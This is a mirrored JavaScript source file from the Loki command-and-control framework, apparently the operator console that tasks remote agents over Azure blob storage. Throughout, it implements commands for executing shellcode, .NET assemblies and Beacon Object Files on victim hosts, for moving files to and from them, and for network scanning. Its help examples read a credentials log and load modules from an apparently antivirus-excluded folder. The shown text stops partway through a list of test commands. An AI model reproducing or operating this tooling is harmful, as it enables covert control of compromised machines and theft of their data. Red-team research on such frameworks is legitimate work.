mirror of
https://github.com/boku7/Loki
synced 2026-06-06 15:24:27 +00:00
826 lines
33 KiB
JavaScript
826 lines
33 KiB
JavaScript
const { ipcRenderer } = require('electron');
|
|
const path = require('path');
|
|
const fs = require('fs');
|
|
const crypto = require('crypto');
|
|
const az = require('./azure');
|
|
const { log } = require('console');
|
|
global.historyload = false;
|
|
global.inputload = false;
|
|
const { getAppDataDir } = require('./common');
|
|
const directories = getAppDataDir();
|
|
|
|
function logToFile(logFile, message) {
|
|
try {
|
|
fs.appendFileSync(logFile, `${message}\n`);
|
|
} catch (error) {
|
|
log(error);
|
|
}
|
|
}
|
|
|
|
let agentid_log = '';
|
|
let user_log = '';
|
|
let pid_log = '';
|
|
let currentSuggestionIndex = -1;
|
|
let suggestions = [];
|
|
global.agent;
|
|
let window_agentid = "";
|
|
|
|
const commands = [
|
|
'pwd', 'ls', 'cat', 'env', 'help',
|
|
'spawn', 'drives', 'cat',
|
|
'mv', 'sleep', 'cp', 'load',
|
|
'upload', 'download', 'scexec', 'scan',
|
|
'exit', 'assembly', 'help', 'dns','cd',
|
|
'bof'
|
|
];
|
|
|
|
global.commandHistory = [];
|
|
let currentCommandIndex = -1;
|
|
|
|
function generateUUID(len) {
|
|
if (len > 20) { len = 20 };
|
|
const uuid = crypto.randomUUID();
|
|
const shortUUID = uuid.replace(/-/g, '').substring(0, len);
|
|
return shortUUID;
|
|
}
|
|
|
|
function timeDifference(oldTimestamp) {
|
|
const now = Date.now();
|
|
let diff = now - oldTimestamp;
|
|
const msInSecond = 1000;
|
|
const msInMinute = msInSecond * 60;
|
|
const msInHour = msInMinute * 60;
|
|
const msInDay = msInHour * 24;
|
|
const days = Math.floor(diff / msInDay);
|
|
diff %= msInDay;
|
|
const hours = Math.floor(diff / msInHour);
|
|
diff %= msInHour;
|
|
const minutes = Math.floor(diff / msInMinute);
|
|
diff %= msInMinute;
|
|
const seconds = Math.floor(diff / msInSecond);
|
|
let result = '';
|
|
if (days > 0) result += `${days}d, `;
|
|
if (hours > 0) result += `${hours}h, `;
|
|
if (minutes > 0) result += `${minutes}m, `;
|
|
if (seconds > 0 || result === '') result += `${seconds}s`;
|
|
return result.trim().replace(/,\s*$/, '');
|
|
}
|
|
|
|
const commandDetails = [
|
|
{ name: "help", help: "Display this help menu\r\n" },
|
|
{ name: "pwd", help: "Print working directory\r\n\tpwd\r\n" },
|
|
{ name: "ls", help: "File and directory listing\r\n\tls [remote_path]\r\n\tls ./\r\n\tls C:/Users/user/Desktop/\r\n" },
|
|
{ name: "cat", help: "Display contents of a file\r\n\tcat [remote_path]\r\n\tcat ./kernel.js\r\n\tcat C:/Users/user/Desktop/creds.log\r\n" },
|
|
{ name: "env", help: "Display process environment variables\r\n\tenv\r\n" },
|
|
{ name: "spawn", help: "Spawn a child process\r\n\tspawn [cmd]\r\n\tspawn calc.exe\r\n" },
|
|
{ name: "drives", help: "List drives\r\n\tdrives\r\n" },
|
|
{ name: "mv", help: "Move a file to a new destination\r\n\tmv [remote_src] [remote_dst]\r\n\t" },
|
|
{ name: "sleep", help: "Sleep for seconds with jitter\r\n\sleep [s] [jitter%]\r\n\tsleep 20 15\r\n\t" },
|
|
{ name: "cp", help: "Copy a file\r\n\tcp [remote_src] [remote_dst]\r\n\t" },
|
|
{ name: "cd", help: "Change directory\r\n\tcd [remote_path]\r\n\tcd /agent/dst\r\n\t" },
|
|
{ name: "exit", help: "Exits the agent. The agent won't callback anymore\r\n\t" },
|
|
{ name: "load", help: "Load a node PE file from disk into the process\r\n\tload [remote_path]\r\n\tload ./git.node\r\n\t- Needs the ./ in front\r\n" },
|
|
{ name: "scexec", help: "Execute shellcode\r\n\tscexec [local_path]\r\n\tscexec /operator/src/shellcode/bin\r\n" },
|
|
{ name: "assembly", help: "Execute a .NET assembly and get command output\r\n\tassembly [local_path] [arg1] [arg2] ..\r\n\tassembly /operator/src/assembly arg1 arg2 arg3..\r\n" },
|
|
{ name: "upload", help: "Upload a file from your local operator box to the remote agent box\r\n\tupload [local_path] [remote_path]\r\n\tupload /operator/src/file /agent/dst/file\r\n" },
|
|
{ name: "download", help: "Download a file from remote agent box to local operator box /\r\n\tdownload [remote_path]\r\n\tdownload /agent/src/file\r\n\t- Get from View > Downloads\r\n" },
|
|
{ name: "link", help: "Peer-to-peer connect to a Loki TCP agent\r\n\tlink <hostname> <port>\r\n\tlink localhost 3000\r\n" },
|
|
{ name: "unlink", help: "Disconnect from a Loki TCP agent\r\n\tunlink <hostname>\r\n\tunlink localhost\r\n" },
|
|
//{ name: "socks", help: "socks <url> \r\n" +
|
|
// " - Connect to a SOCKS5 server.\r\n" +
|
|
// " Examples:\r\n" +
|
|
// " socks xyz.cloudfront.net:443/ws/agent/09f21e3b6e247b8a6a6ee2472f5\r\n" },
|
|
{ name: "scan", help: "scan <host> [-p<ports>] \r\n" +
|
|
" - The target host or CIDR range to scan.\r\n" +
|
|
" - Options:\r\n" +
|
|
" -p<ports> Comma-separated list of ports to scan (default: 80, 443).\r\n" +
|
|
" Examples:\r\n" +
|
|
" scan 192.168.1.1 -p80,443\r\n" +
|
|
" scan 192.168.1.0/24 -p22,80,443\r\n" },
|
|
{ name: "dns", help: "dns lookup <hostname> [-all | -mx | -txt | -cname]\r\n" +
|
|
" - Perform a DNS lookup on the given hostname.\r\n" +
|
|
" - Options:\r\n" +
|
|
" -all Get all IP addresses\r\n" +
|
|
" -mx Get mail exchange (MX) records\r\n" +
|
|
" -txt Get TXT records\r\n" +
|
|
" -cname Get CNAME records\r\n" +
|
|
" dns resolve <hostname>\r\n" +
|
|
" - Resolve the hostname to an IP address\r\n" +
|
|
" dns reverse <ip-address>\r\n" +
|
|
" - Perform a reverse lookup on an IP address\r\n" +
|
|
" dns config\r\n" +
|
|
" - Show the current system DNS servers\r\n" +
|
|
" dns @<server>\r\n" +
|
|
" - Use a custom DNS server\r\n" +
|
|
" dns @default\r\n" +
|
|
" - Reset the DNS server config\r\n" },
|
|
{ name: "set", help: "Set the Node load paths for assembly node and scexec nodes\r\n\tset scexec_path C:/Users/user/AppData/ExcludedApp/scexec.node\r\n\tset assembly_path C:/Users/user/AppData/ExcludedApp/assembly.node\r\n" },
|
|
{ name: "bof", help: "Execute a Beacon Object File (BOF)\r\n\tbof <path_to_coff_file> <function_name> <format_string> [args...]\r\n\tFormat specifiers:\r\n\t z = null-terminated string (char*)\r\n\t i = 4-byte integer (int)\r\n\t b = binary blob (void*, length)\r\n\t w = wide string (wchar_t*)\r\n\tExamples:\r\n\t bof ./test.coff go z test_string\r\n\t bof ./test.coff go i 1234\r\n\t bof ./test.coff go b 41414141 4\r\n\t bof ./test.coff go w test_wide_string\r\n" }
|
|
];
|
|
|
|
function getHelpInfo(command) {
|
|
const parts = command.split(' ').filter(part => part !== '');
|
|
if (parts.length > 1) {
|
|
const cmdName = parts[1];
|
|
const cmd = commandDetails.find(c => c.name === cmdName);
|
|
return cmd ? cmd.help : `No help available for command: ${cmdName}`;
|
|
} else {
|
|
return "Command name missing. Use 'help <commandName>'.";
|
|
}
|
|
}
|
|
|
|
function splitStringWithQuotes(str) {
|
|
const result = [];
|
|
let current = '';
|
|
let insideQuotes = false;
|
|
let quoteChar = '';
|
|
for (let i = 0; i < str.length; i++) {
|
|
const char = str[i];
|
|
if (insideQuotes) {
|
|
if (char === '\\' && (str[i + 1] === quoteChar || str[i + 1] === '\\')) {
|
|
current += str[i + 1];
|
|
i++;
|
|
} else if (char === quoteChar) {
|
|
insideQuotes = false;
|
|
result.push(current);
|
|
current = '';
|
|
} else {
|
|
current += char;
|
|
}
|
|
} else {
|
|
if (char === '"' || char === "'") {
|
|
insideQuotes = true;
|
|
quoteChar = char;
|
|
} else if (char === '\\' && str[i + 1] === ' ') {
|
|
current += ' ';
|
|
i++;
|
|
} else if (char === ' ') {
|
|
if (current.length > 0) {
|
|
result.push(current);
|
|
current = '';
|
|
}
|
|
} else {
|
|
current += char;
|
|
}
|
|
}
|
|
}
|
|
if (current.length > 0) {
|
|
result.push(current);
|
|
}
|
|
return result;
|
|
}
|
|
|
|
function doDownloadFile(argv) {
|
|
const downloadFile = argv[1];
|
|
const downloadBlob = generateUUID(10);
|
|
const download = {
|
|
'file': downloadFile,
|
|
'blob': downloadBlob
|
|
}
|
|
return download;
|
|
}
|
|
|
|
function getFormattedTimestamp() {
|
|
const now = new Date();
|
|
const month = String(now.getMonth() + 1).padStart(2, '0');
|
|
const day = String(now.getDate()).padStart(2, '0');
|
|
const year = now.getFullYear();
|
|
let hours = now.getHours();
|
|
const minutes = String(now.getMinutes()).padStart(2, '0');
|
|
const ampm = hours >= 12 ? 'PM' : 'AM';
|
|
hours = hours % 12;
|
|
hours = hours ? hours : 12;
|
|
const timezoneInitials = now.toLocaleTimeString('en-us', { timeZoneName: 'short' }).split(' ')[2];
|
|
const formattedTimestamp = `${month}-${day}-${year} ${hours}:${minutes}${ampm} ${timezoneInitials}`;
|
|
return formattedTimestamp;
|
|
}
|
|
|
|
class Task {
|
|
constructor(command) {
|
|
this.outputChannel = 'o-' + Math.random().toString(36).substring(2, 14);
|
|
this.uploadChannel = 'u-' + Math.random().toString(36).substring(2, 14);
|
|
this.command = command;
|
|
this.taskid = Math.random().toString(36).substring(2, 14);
|
|
}
|
|
}
|
|
|
|
function getCommandHistoryFile(hostname) {
|
|
return path.join(directories.logDir, `command_history_${hostname}.log`);
|
|
}
|
|
|
|
function saveCommandToHistory(command, hostname) {
|
|
try {
|
|
const historyFile = getCommandHistoryFile(hostname);
|
|
fs.appendFileSync(historyFile, `${command}\n`);
|
|
} catch (error) {
|
|
log(`Error saving command to history: ${error.message}`);
|
|
}
|
|
}
|
|
|
|
function loadCommandHistory(hostname) {
|
|
try {
|
|
const historyFile = getCommandHistoryFile(hostname);
|
|
if (fs.existsSync(historyFile)) {
|
|
const commands = fs.readFileSync(historyFile, 'utf8').split('\n').filter(cmd => cmd.trim());
|
|
global.commandHistory = commands;
|
|
currentCommandIndex = global.commandHistory.length;
|
|
}
|
|
} catch (error) {
|
|
log(`Error loading command history: ${error.message}`);
|
|
}
|
|
}
|
|
|
|
function showHelp() {
|
|
const maxLength = commandDetails.reduce((max, cmd) => {
|
|
return cmd.name.length > max ? cmd.name.length : max;
|
|
}, 0);
|
|
commandDetails.forEach(thiscmd => {
|
|
const paddedName = thiscmd.name.padEnd(maxLength, ' ');
|
|
let cmdhelp = thiscmd.help.split('\r\n');
|
|
cmdhelp = cmdhelp[0];
|
|
printToConsole(`<i style="color:#c0c0c0">${paddedName} : ${cmdhelp}</i>`);
|
|
});
|
|
}
|
|
|
|
function sendCommand() {
|
|
log(`agent.js | sendCommand() | agent : \r\n${JSON.stringify(global.agent)}`);
|
|
try {
|
|
if (global.inputload === false) {
|
|
return;
|
|
}
|
|
const input = document.getElementById('consoleInput');
|
|
let command = input.value.trim();
|
|
command = command.trim();
|
|
global.commandHistory.push(command);
|
|
saveCommandToHistory(command, global.agent.hostname);
|
|
let original_command = command;
|
|
let argv = splitStringWithQuotes(command);
|
|
if (global.commandHistory.length > 1000) {
|
|
global.commandHistory.shift();
|
|
}
|
|
currentCommandIndex = global.commandHistory.length;
|
|
let PSString = `<span style="color:#acdff2">[${getFormattedTimestamp()}]</span> <span style="color:#ff0000">${global.agent.username}</span>`;
|
|
let UnknownCommand = true;
|
|
commandDetails.forEach(thiscmd => {
|
|
if (argv[0] === thiscmd.name) { UnknownCommand = false; }
|
|
});
|
|
if (UnknownCommand) {
|
|
printToConsole(`<i><span style="color:#ff0000">[!] Unknown command : "${command}". Type "help" for a list of commands.</span></i>`);
|
|
input.value = '';
|
|
closeDropdown();
|
|
return;
|
|
}
|
|
if (command.startsWith("help")) {
|
|
let platformElement = document.querySelector("#agentTable > tbody > tr > td:nth-child(8)");
|
|
let platform;
|
|
if (platformElement) {
|
|
platform = platformElement.textContent.trim();
|
|
}
|
|
if (platform) {
|
|
if (platform == "macOS" || platform == "Platform" || platform == "Linux") {
|
|
const removeCommands = ["scexec", "assembly"];
|
|
for (let i = commandDetails.length - 1; i >= 0; i--) {
|
|
if (removeCommands.includes(commandDetails[i].name)) {
|
|
commandDetails.splice(i, 1);
|
|
}
|
|
}
|
|
}
|
|
}
|
|
if (argv.length > 1) {
|
|
let commandHelp = getHelpInfo(command);
|
|
printToConsole(`${PSString}$ ${original_command}`);
|
|
printToConsole(`<i style="color:#c0c0c0">${commandHelp}</i>`);
|
|
input.value = '';
|
|
closeDropdown();
|
|
return;
|
|
} else {
|
|
printToConsole(`${PSString}$ ${original_command}`);
|
|
showHelp();
|
|
input.value = '';
|
|
closeDropdown();
|
|
return;
|
|
}
|
|
}
|
|
const task = new Task(
|
|
command
|
|
);
|
|
if (!Array.isArray(global.agent.tasks)) {
|
|
global.agent.tasks = [];
|
|
}
|
|
global.agent.tasks.push(task);
|
|
let download;
|
|
let upload = false;
|
|
let scexec_upload = false;
|
|
let assembly_upload = false;
|
|
let bof_upload = false;
|
|
let uploadblob = "";
|
|
let uploadfile = "";
|
|
let argsAmountError = false;
|
|
|
|
if (argv[0] === "sleep") {
|
|
if (argv[1] === "0") {
|
|
argv[1] = "1";
|
|
}
|
|
}
|
|
|
|
if (argv[0] == "download") {
|
|
if (argv.length == 2) {
|
|
download = doDownloadFile(argv);
|
|
command = `download ${download['file']} ${download['blob']}`;
|
|
global.agent.tasks[global.agent.tasks.length - 1].command = command;
|
|
log(`agent.js : IPC : pull-download-file`);
|
|
ipcRenderer.send('pull-download-file', global.agent, download['file'], download['blob']);
|
|
} else {
|
|
argsAmountError = true;
|
|
}
|
|
}
|
|
if (argv[0] == "upload") {
|
|
if (argv.length == 3) {
|
|
uploadfile = argv[1];
|
|
const destFilePath = argv[2];
|
|
uploadblob = 'u' + generateUUID(10);
|
|
command = `upload ${uploadblob} ${destFilePath}`;
|
|
global.agent.tasks[global.agent.tasks.length - 1].command = command;
|
|
upload = true;
|
|
} else {
|
|
argsAmountError = true;
|
|
}
|
|
}
|
|
if (argv[0] == "scexec") {
|
|
if (argv.length == 2) {
|
|
scfile = argv[1];
|
|
scblob = 'sc' + generateUUID(10);
|
|
command = `scexec ${scblob}`;
|
|
global.agent.tasks[global.agent.tasks.length - 1].command = command;
|
|
scexec_upload = true;
|
|
} else {
|
|
argsAmountError = true;
|
|
}
|
|
}
|
|
if (argv[0] == "assembly") {
|
|
if (argv.length > 1) {
|
|
scfile = argv[1];
|
|
let args = argv.slice(2).join(' ');
|
|
log(`args string : ${args}`);
|
|
scblob = 'sc' + generateUUID(10);
|
|
command = `assembly ${scblob} ${args}`;
|
|
global.agent.tasks[global.agent.tasks.length - 1].command = command;
|
|
assembly_upload = true;
|
|
} else {
|
|
argsAmountError = true;
|
|
}
|
|
}
|
|
|
|
if (argv[0] == "bof") {
|
|
if (argv.length > 1) {
|
|
bof_upload = true;
|
|
} else {
|
|
argsAmountError = true;
|
|
}
|
|
}
|
|
|
|
if (argsAmountError == true) {
|
|
let ArgsError = `Incorrect amount of arguments supplied to ${argv[0]} command`;
|
|
let commandHelp = getHelpInfo(argv[0]);
|
|
printToConsole(ArgsError);
|
|
printToConsole(commandHelp);
|
|
input.value = '';
|
|
closeDropdown();
|
|
return;
|
|
}
|
|
|
|
log(`Sending command ${command}`);
|
|
printToConsole(`${PSString}$ ${original_command}`);
|
|
input.value = '';
|
|
|
|
if (upload) {
|
|
printToConsole(`<i style="color:#808080">[+] Uploading operator <b>${uploadfile}</b> file to blob <b>${uploadblob}</b></i>`);
|
|
ipcRenderer.send('upload-file-to-blob', global.agent, uploadfile, uploadblob);
|
|
} else if (assembly_upload) {
|
|
printToConsole(`<i style="color:#808080">[+] Uploading operator <b>${scfile}</b> assembly file to blob <b>${scblob}</b></i>`);
|
|
ipcRenderer.send('upload-sc-to-blob', global.agent, scfile, scblob);
|
|
} else if (bof_upload) {
|
|
printToConsole(`<i style="color:#808080">[+] Uploading operator <b>${argv[1]}</b> BOF file to blob <b>${task.uploadChannel}</b></i>`);
|
|
ipcRenderer.send('upload-sc-to-blob', global.agent, argv[1], task.uploadChannel);
|
|
} else if (scexec_upload) {
|
|
printToConsole(`<i style="color:#808080">[+] Uploading operator <b>${scfile}</b> shellcode file to blob <b>${scblob}</b></i>`);
|
|
ipcRenderer.send('upload-sc-to-blob', global.agent, scfile, scblob);
|
|
} else {
|
|
log(`agent.js | sendCommand() | agent : \r\n${JSON.stringify(global.agent)}`);
|
|
ipcRenderer.send('upload-client-command-to-input-channel', global.agent);
|
|
closeDropdown();
|
|
}
|
|
} catch (error) {
|
|
log(`[!] Error in sendCommand from agent window ${error} ${error.stack}`);
|
|
}
|
|
}
|
|
|
|
ipcRenderer.on('send-upload-command', (event, agent_object) => {
|
|
try {
|
|
log(`agent.js | send-upload-command | agent_object : ${JSON.stringify(agent_object)}`);
|
|
printToConsole(`<i style="color:#808080">[+] Completed uploading operator file to blob</i>`);
|
|
ipcRenderer.send('upload-client-command-to-input-channel', agent_object);
|
|
} catch (error) {
|
|
log(error);
|
|
}
|
|
});
|
|
|
|
async function printToConsole(message, logToFileFlag = true) {
|
|
try {
|
|
const consoleOutput = document.getElementById('consoleOutput');
|
|
const newLine = document.createElement('div');
|
|
newLine.innerHTML = message;
|
|
consoleOutput.appendChild(newLine);
|
|
consoleOutput.scrollTop = consoleOutput.scrollHeight;
|
|
let agent_log_name = `${pid_log}-${user_log}-${agentid_log}.log`;
|
|
const logFile = path.join(directories.logDir, agent_log_name);
|
|
if (logToFileFlag) {
|
|
logToFile(logFile, `${message}\r\n`);
|
|
}
|
|
} catch (error) {
|
|
console.error(`Error in printToConsole: ${error.message}\n${error.stack}`);
|
|
}
|
|
}
|
|
|
|
function loadPreviousLogs() {
|
|
try {
|
|
let agent_log_name = `${pid_log}-${user_log}-${agentid_log}.log`;
|
|
const logFile = path.join(directories.logDir, agent_log_name);
|
|
log(`logfile : ${logFile}`);
|
|
|
|
if (fs.existsSync(logFile)) {
|
|
log(`Loading previous logs from ${logFile}`);
|
|
const logs = fs.readFileSync(logFile, 'utf8');
|
|
logs.split('\n').forEach(line => {
|
|
let cleanedLine = line.replace(/^\[.*?\]\s*\[.*?\]\s*/, '').trim();
|
|
if (cleanedLine) {
|
|
printToConsole(cleanedLine, false);
|
|
}
|
|
});
|
|
} else {
|
|
log(`No existing log file found for ${logFile}`);
|
|
}
|
|
} catch (error) {
|
|
log(`Error loading previous logs: ${error.message}\n${error.stack}`);
|
|
}
|
|
}
|
|
|
|
function clearConsole() {
|
|
const consoleOutput = document.getElementById('consoleOutput');
|
|
consoleOutput.innerHTML = '';
|
|
}
|
|
|
|
function showDropdown() {
|
|
const inputLine = document.querySelector('.input-line');
|
|
const dropdown = document.getElementById('commandDropdown');
|
|
dropdown.innerHTML = '';
|
|
const maxWidth = Math.max(...suggestions.map(s => s.length)) * 8;
|
|
suggestions.forEach((suggestion, index) => {
|
|
const item = document.createElement('div');
|
|
item.textContent = suggestion;
|
|
item.style.padding = '5px';
|
|
if (index === currentSuggestionIndex) {
|
|
item.style.backgroundColor = '#555';
|
|
item.style.color = '#00ff00';
|
|
}
|
|
item.addEventListener('click', () => {
|
|
const input = document.getElementById('consoleInput');
|
|
input.value = suggestion;
|
|
input.focus();
|
|
closeDropdown();
|
|
});
|
|
dropdown.appendChild(item);
|
|
});
|
|
dropdown.style.display = suggestions.length ? 'block' : 'none';
|
|
const rect = inputLine.getBoundingClientRect();
|
|
dropdown.style.top = `${rect.bottom}px`;
|
|
dropdown.style.left = `${rect.left}px`;
|
|
dropdown.style.width = `${maxWidth + 20}px`;
|
|
dropdown.style.whiteSpace = 'nowrap';
|
|
if (rect.bottom + dropdown.offsetHeight > window.innerHeight) {
|
|
dropdown.style.top = `${rect.top - dropdown.offsetHeight}px`;
|
|
}
|
|
}
|
|
|
|
function closeDropdown() {
|
|
const dropdown = document.getElementById('commandDropdown');
|
|
dropdown.innerHTML = '';
|
|
dropdown.style.display = 'none';
|
|
currentSuggestionIndex = -1;
|
|
}
|
|
|
|
function handleInput(event) {
|
|
const input = event.target.value;
|
|
if (input) {
|
|
suggestions = commands.filter(command => command.startsWith(input));
|
|
currentSuggestionIndex = -1;
|
|
showDropdown();
|
|
} else {
|
|
suggestions = commands;
|
|
showDropdown();
|
|
}
|
|
}
|
|
|
|
function handleTabCompletion(event) {
|
|
event.preventDefault();
|
|
if (suggestions.length > 0) {
|
|
currentSuggestionIndex = (currentSuggestionIndex + 1) % suggestions.length;
|
|
showDropdown();
|
|
const input = document.getElementById('consoleInput');
|
|
input.value = suggestions[currentSuggestionIndex];
|
|
}
|
|
}
|
|
|
|
window.addEventListener('DOMContentLoaded', async () => {
|
|
|
|
ipcRenderer.on('container-data', (event, agent_object) => {
|
|
try {
|
|
log(`agent.js | container-data | agent_object : ${JSON.stringify(agent_object)}`);
|
|
containerName = agent_object.container;
|
|
containerKey = agent_object.aes;
|
|
containerBlob = agent_object.blobs;
|
|
//agent = JSON.parse(agent_object);
|
|
global.agent = agent_object;
|
|
|
|
document.title = `${agent_object.agentid.toUpperCase()} | ${agent_object.hostname.toUpperCase()} | ${agent_object.username.toUpperCase()} | ${agent_object.IP}`;
|
|
|
|
const input = document.getElementById('consoleInput');
|
|
input.focus();
|
|
input.selectionStart = input.selectionEnd = input.value.length;
|
|
} catch (error) {
|
|
log(error);
|
|
}
|
|
});
|
|
|
|
ipcRenderer.on('agent-checkin', (event, checkin_data) => {
|
|
try {
|
|
printToConsole(`Checkin Data : ${checkin_data}`);
|
|
} catch (error) {
|
|
log(error);
|
|
}
|
|
});
|
|
|
|
ipcRenderer.on('command-result', (event, result) => {
|
|
log(`[AGENT][IPC] command-result : ${result}`);
|
|
printToConsole(result);
|
|
});
|
|
|
|
const input = document.getElementById('consoleInput');
|
|
input.addEventListener('keydown', (event) => {
|
|
if (event.key === 'Enter') {
|
|
log(`Sending Enter key press event`);
|
|
sendCommand();
|
|
} else if (event.key === 'Tab') {
|
|
handleTabCompletion(event);
|
|
} else if (event.ctrlKey && event.key === 'l') {
|
|
event.preventDefault();
|
|
clearConsole();
|
|
} else if (event.key === 'ArrowUp') {
|
|
if (currentCommandIndex > 0) {
|
|
currentCommandIndex--;
|
|
input.value = global.commandHistory[currentCommandIndex] || "";
|
|
} else if (currentCommandIndex === 0) {
|
|
input.value = global.commandHistory[currentCommandIndex] || "";
|
|
}
|
|
event.preventDefault();
|
|
} else if (event.key === 'ArrowDown') {
|
|
if (currentCommandIndex < global.commandHistory.length - 1) {
|
|
currentCommandIndex++;
|
|
input.value = global.commandHistory[currentCommandIndex] || "";
|
|
} else if (currentCommandIndex === global.commandHistory.length - 1) {
|
|
currentCommandIndex++;
|
|
input.value = '';
|
|
}
|
|
event.preventDefault();
|
|
}
|
|
});
|
|
input.addEventListener('input', handleInput);
|
|
input.focus();
|
|
input.selectionStart = input.selectionEnd = input.value.length;
|
|
|
|
document.addEventListener('keydown', function (event) {
|
|
if ((event.ctrlKey || event.metaKey) && event.key === 'c') {
|
|
ipcRenderer.send('copy');
|
|
event.preventDefault();
|
|
}
|
|
if ((event.ctrlKey || event.metaKey) && event.key === 'v') {
|
|
ipcRenderer.send('paste');
|
|
event.preventDefault();
|
|
}
|
|
if ((event.ctrlKey || event.metaKey) && event.key === 'x') {
|
|
ipcRenderer.send('cut');
|
|
event.preventDefault();
|
|
}
|
|
});
|
|
|
|
// Send message to main process to add test command menu item
|
|
ipcRenderer.send('add-test-command-menu');
|
|
|
|
// Listen for test command trigger from main process
|
|
ipcRenderer.on('execute-test-command', () => {
|
|
executeCommandTests();
|
|
});
|
|
});
|
|
|
|
async function updateTable() {
|
|
try {
|
|
const agentTable = document.getElementById('agentTable').getElementsByTagName('tbody')[0];
|
|
let agentid = global.agent.agentid;
|
|
window_agentid = agentid;
|
|
let agentcheckin = await ipcRenderer.invoke('get-agent-checkin', agentid);
|
|
|
|
if (agentcheckin) {
|
|
//log(`agentcheckin : ${agentcheckin}`);
|
|
agentcheckin = JSON.parse(agentcheckin);
|
|
|
|
const filePath = agentcheckin.Process.trim();
|
|
let fileName;
|
|
if (filePath.includes("\\") && !filePath.includes("/")) {
|
|
fileName = path.win32.basename(filePath);
|
|
} else if (filePath.includes("/") && !filePath.includes("\\")) {
|
|
fileName = path.posix.basename(filePath);
|
|
} else {
|
|
fileName = filePath.split(/[/\\]/).pop();
|
|
}
|
|
for (let row of agentTable.rows) {
|
|
let platformName = agentcheckin.platform;
|
|
if (global.agent.platform === "darwin") {
|
|
platformName = "macOS";
|
|
} else if (global.agent.platform === "win32") {
|
|
platformName = "Windows";
|
|
} else if (global.agent.platform === "linux") {
|
|
platformName = "Linux";
|
|
}
|
|
row.cells[0].textContent = agentcheckin.agentid;
|
|
row.cells[1].textContent = agentcheckin.hostname;
|
|
row.cells[2].textContent = agentcheckin.username;
|
|
row.cells[3].textContent = fileName;
|
|
row.cells[4].textContent = agentcheckin.PID;
|
|
row.cells[5].textContent = agentcheckin.IP;
|
|
row.cells[6].textContent = agentcheckin.arch;
|
|
row.cells[7].textContent = platformName;
|
|
row.cells[8].textContent = timeDifference(agentcheckin.checkin);
|
|
agentid_log = agentcheckin.agentid;
|
|
user_log = agentcheckin.username;
|
|
pid_log = agentcheckin.PID;
|
|
}
|
|
if (global.historyload === false) {
|
|
log(`Loading previous command history`);
|
|
global.historyload = true;
|
|
loadCommandHistory(global.agent.hostname);
|
|
loadPreviousLogs();
|
|
}
|
|
global.inputload = true;
|
|
}
|
|
} catch (error) {
|
|
log(`${error} ${error.stack}`);
|
|
}
|
|
}
|
|
setInterval(updateTable, 1000);
|
|
|
|
async function format_ls_output(filesAndFolders) {
|
|
let resultBuffer = '';
|
|
resultBuffer += `Name`.padEnd(60) + `Type`.padEnd(16) + `Size (bytes)`.padEnd(15) + `Created`.padEnd(24) + `Modified`.padEnd(24) + '\n';
|
|
resultBuffer += '-'.repeat(30) + '-'.repeat(10) + '-'.repeat(15) + '-'.repeat(30) + '-'.repeat(30) + '\n';
|
|
log(`[AGENT][IPC] format_ls_output : ${filesAndFolders}`);
|
|
let entries = JSON.parse(filesAndFolders)
|
|
|
|
for (const entry of entries) {
|
|
try {
|
|
log(`[AGENT][IPC] entry : ${entry}`);
|
|
const options = {
|
|
month: '2-digit',
|
|
day: '2-digit',
|
|
year: '2-digit',
|
|
hour: '2-digit',
|
|
minute: '2-digit',
|
|
second: '2-digit',
|
|
hour12: false
|
|
};
|
|
resultBuffer += (entry.name || '').padEnd(60);
|
|
resultBuffer += (entry.type || '').padEnd(16);
|
|
resultBuffer += (entry.stats.size ? String(entry.stats.size) : '').padEnd(15);
|
|
resultBuffer += (entry.stats.ctimeMs ? new Date(entry.stats.ctimeMs).toLocaleString('en-US', options).replace(',', '') : '').padEnd(24);
|
|
resultBuffer += (entry.stats.mtimeMs ? new Date(entry.stats.mtimeMs).toLocaleString('en-US', options).replace(',', '') : '').padEnd(24);
|
|
resultBuffer += '\n';
|
|
} catch (err) {
|
|
log(`Error: ${err.message}`);
|
|
}
|
|
}
|
|
return resultBuffer;
|
|
}
|
|
|
|
ipcRenderer.on('command-output', async (event, command_response) => {
|
|
try {
|
|
if (command_response.command.startsWith('ls')) {
|
|
let resultBuffer = await format_ls_output(command_response.output);
|
|
printToConsole(resultBuffer);
|
|
} else if (command_response.command.startsWith('bof ')) {
|
|
if (command_response.command.startsWith('bof ')) {
|
|
printToConsole(command_response.output.replace(/</g, '<').replace(/>/g, '>'));
|
|
} else {
|
|
printToConsole(command_response.output);
|
|
}
|
|
} else {
|
|
printToConsole(command_response.output);
|
|
}
|
|
} catch (error) {
|
|
log(`Error in ipcRender(delete-old-container): ${error.message}\r\n${error.stack}`);
|
|
}
|
|
});
|
|
|
|
ipcRenderer.on('window-closing', async () => {
|
|
try {
|
|
log(`agent.js : IPC window-closing`);
|
|
log(`agentid: ${window_agentid}`);
|
|
ipcRenderer.send('force-close', window_agentid);
|
|
} catch (error) {
|
|
log(`Error in ipcRender(delete-old-container): ${error.message}\r\n${error.stack}`);
|
|
}
|
|
});
|
|
|
|
document.addEventListener("keydown", function (event) {
|
|
const consoleInput = document.getElementById("consoleInput");
|
|
if (!consoleInput) return;
|
|
const isCtrlOrMeta = event.ctrlKey || event.metaKey;
|
|
const isAlt = event.altKey;
|
|
if (isCtrlOrMeta) {
|
|
switch (event.key.toLowerCase()) {
|
|
case "a":
|
|
event.preventDefault();
|
|
consoleInput.select();
|
|
log("Selected all text in consoleInput");
|
|
break;
|
|
case "arrowleft":
|
|
event.preventDefault();
|
|
moveCursorByWord(consoleInput, "left");
|
|
log("Moved cursor back one word");
|
|
break;
|
|
case "arrowright":
|
|
event.preventDefault();
|
|
moveCursorByWord(consoleInput, "right");
|
|
log("Moved cursor forward one word");
|
|
break;
|
|
}
|
|
}
|
|
});
|
|
|
|
function moveCursorByWord(input, direction) {
|
|
let pos = input.selectionStart;
|
|
let value = input.value;
|
|
if (direction === "left") {
|
|
while (pos > 0 && value[pos - 1] === " ") pos--;
|
|
while (pos > 0 && value[pos - 1] !== " ") pos--;
|
|
} else if (direction === "right") {
|
|
while (pos < value.length && value[pos] === " ") pos++;
|
|
while (pos < value.length && value[pos] !== " ") pos++;
|
|
}
|
|
input.selectionStart = input.selectionEnd = pos;
|
|
}
|
|
|
|
const testCommands = [
|
|
{ command: "sleep 1 0"},
|
|
{ command: "sleep 0 0"},
|
|
{ command: "cd C:\\TEMP"},
|
|
{ command: "pwd"},
|
|
{ command: "ls \"C:\\Program Files (x86)\\Microsoft\""},
|
|
{ command: "ls C:\\\\Program\\ Files\\ (x86)\\\\Microsoft"},
|
|
{ command: "ls 'C:\\Program Files (x86)\\Microsoft'"},
|
|
